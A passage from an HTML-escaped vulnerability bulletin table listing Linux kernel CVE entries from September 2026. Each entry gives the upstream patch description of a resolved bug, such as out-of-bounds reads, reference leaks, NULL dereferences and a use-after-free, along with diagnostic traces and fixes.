byte at their previous values and the handler acts on stale data. The receiver URB is submitted from usb6fire_comm_init() at probe, so the read happens on plug with no user action; forwarding to userspace also needs a MIDI input substream open, since usb6fire_midi_in_received() only calls snd_rawmidi_receive() when rt-&amp;gt;in is set. KASAN on 7.2.0-rc5 (arm64), single packet from an emulated device: BUG: KASAN: slab-out-of-bounds in snd_rawmidi_receive Read of size 255 at addr ffff000009f64682 by task bash/183 __asan_memcpy snd_rawmidi_receive usb6fire_midi_in_received [snd_usb_6fire] usb6fire_comm_receiver_handler [snd_usb_6fire] Allocated by task 11: usb6fire_comm_init [snd_usb_6fire] usb6fire_chip_probe [snd_usb_6fire] The buggy address is located 2 bytes inside of allocated 64-byte region [ffff000009f64680, ffff000009f646c0) Reject the event when the length exceeds the bytes that follow the header, and require the transfer to have delivered the header plus that many bytes. The receiver URB is submitted with a 64-byte transfer_buffer_length, so a genuine device cannot deliver an event longer than those 62 bytes and nothing valid is dropped. Discovered by XBOW, triaged by Baul Lee &amp;lt;baul.lee@xbow.com&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80973&quot; target=&quot;_blank&quot;&gt;CVE-2026-80973&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mfd: sm501: Fix potential memory leaks during remove The memory allocated for struct sm501_devdata in sm501_pci_probe() and sm501_plat_probe() is not freed by the corresponding remove functions sm501_pci_remove() and sm501_plat_remove(). Fix that by adding a call to kfree().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80974&quot; target=&quot;_blank&quot;&gt;CVE-2026-80974&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/smc: fix socket refcount leak in smc_switch_conns() smc_switch_conns() takes a reference on the SMC socket before dropping lgr-&amp;gt;conns_lock, so the connection stays alive while the CDC slot is fetched: sock_hold(&amp;amp;smc-&amp;gt;sk); read_unlock_bh(&amp;amp;lgr-&amp;gt;conns_lock); /* pre-fetch buffer outside of send_lock, might sleep */ rc = smc_cdc_get_free_slot(conn, to_lnk, &amp;amp;wr_buf, NULL, &amp;amp;pend); if (rc) goto err_out; The err_out label only drops the wr_tx link reference, so this early exit returns without the matching sock_put(). The second error exit is not affected, because sock_put() has already run by then. A leaked sk_refcnt means the smc_sock is never destroyed. Its send and receive buffers stay allocated, and for a user socket the reference held on the network namespace is never released, so the netns can no longer be torn down. smc_cdc_get_free_slot() fails when the target link goes down or when the connection has been killed while the switch is in progress. Both are reachable during the link failover this function implements, so the leak is triggered by the same hardware events that make smc_switch_conns() run in the first place. Restructure so there is a single sock_put() covering both outcomes, instead of adding a second one to the error path.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80983&quot; target=&quot;_blank&quot;&gt;CVE-2026-80983&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/smc: do not dereference an unset send buffer on the SMC-D teardown path smc_close_stream_wait() calls smc_tx_prepared_sends() from inside its sk_wait_event() condition, and sk_wait_event() evaluates that condition once with the socket lock released. smcd_buf_detach() clears conn-&amp;gt;sndbuf_desc from smc_conn_kill() under lock_sock(), so a link group terminating while a socket waits there leaves the helper dereferencing NULL, faulting out of close(). SIOCOUTQ reads the field by hand, and smc_close_cancel_work() drops the lock across two cancel_*_sync() calls. Sample the pointer once in the helper, report nothing prepared while it is unset, and bound the ioctl the same way. The receive tasklet dereferences the field directly in smc_cdc_msg_recv_action(), not through this helper; 1/2 is what keeps it from running that late.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80984&quot; target=&quot;_blank&quot;&gt;CVE-2026-80984&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NTB: ntb_transport: Fail TX enqueue when the QP link is down Commit f195a1a6fe41 (&quot;ntb: Drop packets when qp link is down&quot;) meant to make ntb_transport_tx_enqueue() drop packets submitted while the QP link is down, but it only returns 0 without consuming the packet. Zero means success by this function&#039;s contract, so ntb_netdev reports NETDEV_TX_OK and forgets the skb: nothing queued it, nothing frees it, and it leaks, one skb for every transmit racing a link-down. Return -ENOLINK instead, restoring the contract that a non-zero return leaves the buffer owned by the caller. With the preceding patch, ntb_netdev frees the skb on non-retryable enqueue failures and returns NETDEV_TX_OK, so a packet racing with link-down is dropped without leaking or entering a busy retry loop.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80988&quot; target=&quot;_blank&quot;&gt;CVE-2026-80988&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: thunderbolt: Release the Rx HopID that was handed out on mismatch tb_xdomain_alloc_in_hopid() passes the wanted HopID to ida_alloc_range() as the lower bound, so a taken id is not an error there: the allocator returns the next free one above it. tbnet_connected_work() asks for the peer&#039;s transmit path, treats any other id as a failure and returns without releasing what it got, so that allocation stays live for the rest of the XDomain connection with nothing left holding a reference to it. Release the id when it is not the one we asked for, the same way the error unwind at the end of the function releases the expected one.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80990&quot; target=&quot;_blank&quot;&gt;CVE-2026-80990&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: phylink: correctly validate returned PCS in phylink_inband_caps In phylink_inband_caps(), the PCS returned by mac_select_pcs is only checked if NULL but mac_select_pcs can also return an error pointer. This can cause a kernel panic as phylink_pcs_inband_caps() only checks if passed PCS is not NULL and directly dereference ops from the phylink_pcs struct. Use the IS_ERR_OR_NULL macro to address both case where the returned PCS can be NULL or an error pointer and prevent a kernel panic.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80993&quot; target=&quot;_blank&quot;&gt;CVE-2026-80993&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: l2tp: do not propagate multicast notification errors The tunnel create, tunnel modify, session create, and session modify netlink handlers send multicast notifications through helpers that can fail while allocating or encoding a message, or while multicasting it. For tunnel and session create/modify, a notification is sent after the live operation has completed. Returning a best-effort notification error as the command result can therefore report failure for an operation that already committed and can cause callers to retry and accumulate live objects. Keep sending notifications for listener visibility, but do not propagate their best-effort status as the command result. This also keeps the tunnel modify command consistent with the other notification-only paths.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80996&quot; target=&quot;_blank&quot;&gt;CVE-2026-80996&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: dsa: realtek: use gpiod_set_value_cansleep for reset GPIO rtl83xx_reset_assert() and rtl83xx_reset_deassert() are only called from the probe path, which may sleep and is not timing-critical. When the reset GPIO is provided by a sleeping controller such as an I2C I/O expander, gpiod_set_value() warns: WARNING: drivers/gpio/gpiolib.c:4030 at gpiod_set_value+0x44/0x80, CPU#1: kworker/u16:4/61 Hardware name: B&amp;amp;O MAP CA33 Rev f (UNKNOWN) (DT) Workqueue: events_unbound deferred_probe_work_func pc : gpiod_set_value+0x44/0x80 lr : rtl83xx_probe+0x1d8/0x3a0 Call trace: gpiod_set_value+0x44/0x80 (P) rtl83xx_probe+0x1d8/0x3a0 realtek_mdio_probe+0x24/0xa0 mdio_probe+0x38/0x78 really_probe+0xc4/0x3e0 __driver_probe_device+0x15c/0x1b8 driver_probe_device+0xb4/0x120 __device_attach_driver+0xb8/0x1a0 bus_for_each_drv+0x88/0xf0 __device_attach+0xa0/0x1d8 device_initial_probe+0x54/0x68 bus_probe_device+0x38/0xa0 deferred_probe_work_func+0xb8/0x120 process_one_work+0x184/0x4e8 worker_thread+0x188/0x308 kthread+0x130/0x150 ret_from_fork+0x10/0x20 Switch both helpers to gpiod_set_value_cansleep() so such a reset GPIO can be used without triggering the warning. The reset GPIO has been driven with the non-sleeping gpiod_set_value() since the driver was added in v4.19. The call has since been refactored across several files - from realtek-smi.c / realtek-mdio.c into the common rtl83xx.c module and then into the rtl83xx_reset_assert() and rtl83xx_reset_deassert() helpers (both in v6.9). This patch therefore applies as-is only to kernels that carry those helpers (v6.9+); older stable kernels need the same gpiod_set_value_cansleep() conversion at the corresponding open-coded call sites.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80999&quot; target=&quot;_blank&quot;&gt;CVE-2026-80999&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipmi: si: Fix NULL pointer dereference after failed registration try_smi_init() allocates new_smi-&amp;gt;si_sm and later calls ipmi_register_smi_mod(), which maps to ipmi_add_smi(). During ipmi_add_smi(), the upper IPMI message handler obtains the initial BMC device information through __bmc_get_device_id(). This can fail if the BMC does not return a successful response to the Get Device ID command. When the BMC returns a nonzero completion code, the device-id helper retries the command and eventually returns -EIO if the device ID still cannot be fetched. On this failure path, ipmi_add_smi() logs &quot;Unable to get the device id&quot; and goes to out_err_started, where it invokes the lower driver&#039;s shutdown callback. try_smi_init() then logs the returned registration failure: ipmi_si IPI0001:00: IPMI message handler: Unable to get the device id: -5 ipmi_si IPI0001:00: Unable to register device: error -5 For ipmi_si, the shutdown callback is shutdown_smi(), which cleans up the SI state machine data, frees smi_info-&amp;gt;si_sm, and sets smi_info-&amp;gt;si_sm and smi_info-&amp;gt;intf to NULL. However, intf-&amp;gt;in_shutdown is not set on this failed-registration rollback path. Therefore, the asynchronous redo_bmc_reg work item can still retry BMC device-id probing after the lower driver has already cleared its SI state machine data. In the observed case, that retry path reached start_next_msg(), which passed the NULL smi_info-&amp;gt;si_sm pointer to the selected KCS state machine handler: BUG: unable to handle kernel NULL pointer dereference at 0000000000000000 Workqueue: events redo_bmc_reg [ipmi_msghandler] RIP: start_kcs_transaction+0x2c/0x190 [ipmi_si] Call Trace: start_next_msg+0x50/0x80 [ipmi_si] check_start_timer_thread.part.9+0x3b/0x50 [ipmi_si] sender+0x69/0x80 [ipmi_si] i_ipmi_request+0x2ac/0x9d0 [ipmi_msghandler] __get_device_id.isra.29+0xaa/0x180 [ipmi_msghandler] __bmc_get_device_id+0xef/0x950 [ipmi_msghandler] redo_bmc_reg+0x52/0x60 [ipmi_msghandler] process_one_work+0x1a7/0x360 Set intf-&amp;gt;in_shutdown on the out_err_started path before invoking the lower driver&#039;s shutdown callback. This prevents later redo_bmc_reg retries from using an interface whose lower driver state has been cleaned up, and applies the same shutdown state to other IPMI interfaces as well.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81005&quot; target=&quot;_blank&quot;&gt;CVE-2026-81005&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: io_uring/query: cap user size passed to copy_struct_to_user io_handle_query_entry() clamps hdr.size for the inbound copy_from_user() but keeps the original user value as usize. copy_struct_to_user() uses that usize and, when it is larger than the kernel result, clear_user()s the trailing bytes. As hdr.size is a __u32, a query can request nearly 4 GiB of zeroing, including on the error path where res_size stays 0. The interface is reachable without a ring via IORING_REGISTER_QUERY. Reject sizes larger than PAGE_SIZE, as recommended for copy_struct_* interfaces.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81009&quot; target=&quot;_blank&quot;&gt;CVE-2026-81009&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: hp-bioscfg: fix heap OOB read on empty password write validate_password_input() computes length = strlen(buf) and then checks buf[length - 1] to strip a trailing newline, without checking that length is nonzero first. Writing an empty string (a bare &#039;\n&#039;) to current_password or new_password gives length == 0, and buf[length - 1] reads buf[-1], one byte before the heap allocation holding the copied input. KASAN confirms this directly: BUG: KASAN: slab-out-of-bounds in store_password_instance.constprop.0+0x223/0x2a0 [hp_bioscfg] Read of size 1 at addr ffff88811bd8da9f by task sh/13740 ... store_password_instance.constprop.0+0x223/0x2a0 [hp_bioscfg] current_password_store+0x14/0x20 [hp_bioscfg] ... The buggy address is located 23 bytes to the right of allocated 8-byte region [ffff88811bd8da80, ffff88811bd8da88) Reproduced identically via new_password_store. Execution continues past the bad read (the garbage byte only affects whether &quot;length&quot; is decremented by one), so the write completes and returns success; this is a pure information read past the buffer, not a crash, but it is still an out-of-bounds access KASAN correctly flags. Fix by only checking buf[length - 1] when length is nonzero.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81013&quot; target=&quot;_blank&quot;&gt;CVE-2026-81013&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: hp-bioscfg: fix heap OOB read in sk_store() and kek_store() sk_store() and kek_store() strip a trailing newline from the sysfs write before allocating the key buffer: length = count; if (buf[length - 1] == &#039;\n&#039;) length--; bioscfg_drv.spm_data.signing_key = kmemdup(buf, length, GFP_KERNEL); but then pass the original &quot;count&quot; (not &quot;length&quot;) as the copy size to hp_wmi_perform_query(), which memcpy()s that many bytes out of the &quot;length&quot;-sized allocation, reading one byte past it whenever the write ends in a newline, the normal case for a shell &quot;echo&quot; into sysfs. KASAN confirms this directly: BUG: KASAN: slab-out-of-bounds in hp_wmi_perform_query+0x1e9/0x460 [hp_bioscfg] Read of size 28 at addr ffff88813c8e2b80 by task python3/16022 ... sk_store+0xa7/0x240 [hp_bioscfg] kernfs_fop_write_iter+0x3e1/0x5d0 ... The buggy address is located 0 bytes inside of allocated 27-byte region [ffff88813c8e2b80, ffff88813c8e2b9b) Reproduced identically for kek_store, and at multiple write sizes (28, 57, 201 bytes), each time reading exactly one byte past a kmemdup() allocation one byte smaller than the write. Fix by passing &quot;length&quot; instead of &quot;count&quot; to hp_wmi_perform_query() in both functions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81014&quot; target=&quot;_blank&quot;&gt;CVE-2026-81014&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: think-lmi: Free system certificate signatures Multi-certificate support also allows the system authentication object to store -&amp;gt;signature and -&amp;gt;save_signature, which leak when the driver is removed. Free the signatures to avoid leaking memory.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81018&quot; target=&quot;_blank&quot;&gt;CVE-2026-81018&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: int1092: Fix potential memory leak in sar_probe() The memory allocated for device_mode_info in parse_package() called by sar_get_data() is not freed in some of the error paths in sar_probe(). Fix that by converting to use device managed allocations.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89437&quot; target=&quot;_blank&quot;&gt;CVE-2026-89437&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: ISST: Validate logical CPU id and clos id Validate max CLOS ID and logical CPU ID for core power feature. Reject any clos level or logical CPU number greater than the supported maximum. These are used to calculate MMIO offset.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89438&quot; target=&quot;_blank&quot;&gt;CVE-2026-89438&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: ISST: Add a NULL check for sst_inst[] To be consistent with other places, add a NULL check for failed socket loading by checking isst_common.sst_inst[].&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89439&quot; target=&quot;_blank&quot;&gt;CVE-2026-89439&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: dell-wmi-sysman: Don&#039;t hex dump attribute security buffer set_attribute() populates the security area of the BIOS attribute request buffer with the current admin password via populate_security_buffer(), then dumps the whole request buffer with print_hex_dump_bytes(). This can expose the plaintext admin password in the kernel log. The same issue was fixed for the password attribute path by commit d1a196e0a6dc (&quot;platform/x86: dell-wmi-sysman: Don&#039;t hex dump plaintext password data&quot;). Remove the remaining dump from the BIOS attribute path.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89444&quot; target=&quot;_blank&quot;&gt;CVE-2026-89444&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommufd: Release current IOAS on xa_store() failure iommufd_take_all_iova_rwsem() takes an object reference and the iova_rwsem write lock before storing the IOAS in the temporary ioas_list xarray. If xa_store() fails, the current IOAS has not been inserted into ioas_list yet. iommufd_release_all_iova_rwsem() only unwinds IOAS objects already present in that xarray, so it cannot release the current IOAS. Release the current IOAS rwsem and object reference before unwinding the previously stored entries.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89446&quot; target=&quot;_blank&quot;&gt;CVE-2026-89446&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommufd: Avoid locking internal accesses during unmap iommufd_access_notify_unmap() skips internal accesses because they do not have an external unmap callback to invoke. However, the current test calls iommufd_lock_obj() before checking whether the access is internal. If iommufd_lock_obj() succeeds, the loop then sees the internal access and continues, bypassing the matching iommufd_put_object() used by the normal unmap path. This leaks the object reference taken by iommufd_lock_obj(). Check for internal accesses first so skipped entries are never locked.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89447&quot; target=&quot;_blank&quot;&gt;CVE-2026-89447&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu: Fix dev_iommu memory leak when device_add fails in iommu_mock_device_add iommu_mock_device_add() first calls iommu_fwspec_init(), which on success allocates both dev-&amp;gt;iommu (via dev_iommu_get()) and dev-&amp;gt;iommu-&amp;gt;fwspec. If the subsequent device_add(dev) call fails, the error path only calls iommu_fwspec_free(dev), which frees fwspec but leaves dev-&amp;gt;iommu still allocated. This triggers the following kmemleak report when fuzzing with Syzkaller: BUG: memory leak unreferenced object 0xffff888011e0a200 (size 192): comm &quot;syz.1.1695&quot;, pid 24885, jiffies 4295222527 hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 ad 4e ad de .............N.. ff ff ff ff 00 00 00 00 ff ff ff ff ff ff ff ff ................ backtrace (crc 25df5bb3): kmemleak_alloc_recursive include/linux/kmemleak.h:44 [inline] slab_post_alloc_hook mm/slub.c:4575 [inline] slab_alloc_node mm/slub.c:4899 [inline] __kmalloc_cache_noprof+0x47a/0x710 mm/slub.c:5415 kmalloc_noprof include/linux/slab.h:950 [inline] kzalloc_noprof include/linux/slab.h:1188 [inline] dev_iommu_get+0x10c/0x1a0 drivers/iommu/iommu.c:408 iommu_fwspec_init+0x288/0x4d0 drivers/iommu/iommu.c:3087 iommu_mock_device_add+0x46/0xb0 drivers/iommu/iommu.c:385 mock_dev_create drivers/iommu/iommufd/selftest.c:1025 [inline] iommufd_test_mock_domain drivers/iommu/iommufd/selftest.c:1066 [inline] iommufd_test+0x2f8a/0x6190 drivers/iommu/iommufd/selftest.c:2072 iommufd_fops_ioctl+0x367/0x540 drivers/iommu/iommufd/main.c:533 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:597 [inline] __se_sys_ioctl fs/ioctl.c:583 [inline] __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0x116/0x800 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Fix this by calling dev_iommu_free(dev) instead of iommu_fwspec_free(dev) in the device_add() failure path. dev_iommu_free() frees both fwspec and the outer dev_iommu struct and clears dev-&amp;gt;iommu.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89449&quot; target=&quot;_blank&quot;&gt;CVE-2026-89449&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/sva: Set handle-&amp;gt;dev before the SVA handle is visible iommu_attach_device_pasid() installs the new SVA attach handle in the group PASID lookup before iommu_sva_bind_device() returns. A concurrent bind can therefore find and reuse the same handle after iommu_sva_lock is dropped. handle-&amp;gt;dev was initialized after dropping iommu_sva_lock. This leaves a window where a racing bind can return a handle whose dev pointer is still NULL. A subsequent iommu_sva_unbind_device() can then dereference it via handle-&amp;gt;dev-&amp;gt;iommu_group. Initialize handle-&amp;gt;dev before releasing iommu_sva_lock so any visible SVA handle is fully initialized.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89451&quot; target=&quot;_blank&quot;&gt;CVE-2026-89451&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/amd: Put PCI device after handling PPR faults iommu_call_iopf_notifier() looks up the requester with pci_get_domain_bus_and_slot(), which returns a PCI device with its reference count incremented. Neither the successful iommu_report_device_fault() path nor the abort path drops that reference, so every handled PPR request leaks a PCI device reference. This is the same ownership rule that was fixed for the old iommu_v2 ppr_notifier() path by commit 6cf0981c2233 (&quot;iommu/amd: Fix pci device refcount leak in ppr_notifier()&quot;), but iommu_call_iopf_notifier() was added later as a separate PPR/IOPF notifier path. Drop the PCI device reference after handling the PPR entry.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89453&quot; target=&quot;_blank&quot;&gt;CVE-2026-89453&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: PCI: plda: Fix IRQ domain leaks in the error paths of plda_init_interrupts() plda_init_interrupts() initializes IRQ domains and creates IRQ mapping but does not unwind them when later step fails. If platform_get_irq() or either irq_create_mapping() fails in plda_init_interrupts(), the domains are never deinitialized. If irq_create_mapping() fails, port-&amp;gt;intx_irq stays initialized. Hence, remove the IRQ domains in the error path by calling plda_pcie_irq_domain_deinit(). Since plda_pcie_irq_domain_deinit() now disposes of the intx_irq and msi_irq mappings itself before removing their domains, the msi_irq mapping failure path can go directly to err_irq_domain_deinit instead of disposing of port-&amp;gt;intx_irq separately first. This issue was found by automated review of sashiko-bot [mani: commit log]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89454&quot; target=&quot;_blank&quot;&gt;CVE-2026-89454&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: PCI: plda: Fix use-after-free of event IRQs during teardown plda_pcie_irq_domain_deinit() removes pcie-&amp;gt;event_domain via irq_domain_remove(), but the per-event IRQs mapped from that domain are requested with devm_request_irq() in plda_init_interrupts(). The actual free_irq() for a devm-managed IRQ is deferred by devres until after the calling probe()/remove() function returns. This means irq_domain_remove() can free the domain&#039;s internal data before the deferred free_irq() for IRQs still mapped into it has run. When devres later processes that deferred cleanup, it can end up dereferencing the already-freed domain. Free each event IRQ explicitly with devm_free_irq() before removing the domain. This triggers the free immediately and removes the IRQ from the devres tracking list, so devres will not attempt to free it a second time later. Also dispose of the event, INTx, and MSI IRQ mappings with irq_dispose_mapping() before their owning domains are removed. Finally, guard the calls to irq_set_chained_handler_and_data() for pcie-&amp;gt;irq, pcie-&amp;gt;msi_irq, and pcie-&amp;gt;intx_irq so they only run when those fields hold a valid (&amp;gt;0) IRQ number. This is a pre-existing issue, flagged by automated review during work on an earlier, unrelated patch to this 